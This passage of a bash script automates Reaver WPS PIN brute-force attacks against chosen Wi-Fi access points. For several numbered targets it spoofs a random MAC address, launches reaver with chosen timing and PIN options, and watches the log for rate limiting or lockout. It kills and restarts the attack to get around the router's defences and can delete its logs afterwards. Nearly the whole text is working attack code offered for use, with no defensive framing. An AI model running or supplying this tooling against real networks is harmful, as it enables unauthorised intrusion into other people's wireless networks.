	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP15 (ESSID: $NMEWARN15)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R15 == n || $USE_R15 == N ]] && [[ $USE_LONG15 == n || $USE_LONG15 == N ]] && [[ $USE_PIN15 == y || $USE_PIN15 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME15"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL15"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP15"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE15 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME15-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL15 -b $TARGETAP15 -vv -x 60  --pin=$WPS_PIN15 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME15-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE15-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP15 (ESSID: $NMEWARN15)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP15 (ESSID: $NMEWARN15)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R15 == y || $USE_R15 == Y ]] && [[ $USE_LONG15 == n || $USE_LONG15 == N ]] && [[ $USE_PIN15 == y || $USE_PIN15 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME15"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL15"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP15"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX15" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY15"
echo -e "$info Reaver live time                   = $yel$LIVE15 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME15-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL15 -b $TARGETAP15 -vv -x 60 -r $RX15:$RY15 --pin=$WPS_PIN15 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME15-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE15-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP15 (ESSID: $NMEWARN15)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP15 (ESSID: $NMEWARN15)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R15 == n || $USE_R15 == N ]] && [[ $USE_LONG15 == y || $USE_LONG15 == Y ]] && [[ $USE_PIN15 == y || $USE_PIN15 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME15"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL15"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP15"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE15 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME15-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL15 -b $TARGETAP15 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN15 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME15-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE15-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP15 (ESSID: $NMEWARN15)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP15 (ESSID: $NMEWARN15)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R15 == y || $USE_R15 == Y ]] && [[ $USE_LONG15 == y || $USE_LONG15 == Y ]] && [[ $USE_PIN15 == y || $USE_PIN15 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME15"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL15"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP15"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX15" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY15"
echo -e "$info Reaver live time                   = $yel$LIVE15 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME15-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL15 -b $TARGETAP15 -r $RX15:$RY15 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN15 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME15-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE15-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP15 (ESSID: $NMEWARN15)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME15-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME15-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME15-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP15 (ESSID: $NMEWARN15)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE15 == n ] || [ $KEEP_FILE15 == N ]; then

          rm VARMAC_LOGS/$NAME15-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R16 == n || $USE_R16 == N ]] && [[ $USE_LONG16 == n || $USE_LONG16 == N ]] && [[ $USE_PIN16 == n || $USE_PIN16 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME16"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL16"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP16"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE16 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME16-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL16 -b $TARGETAP16 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME16-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE16-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME16-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME16-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME16-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

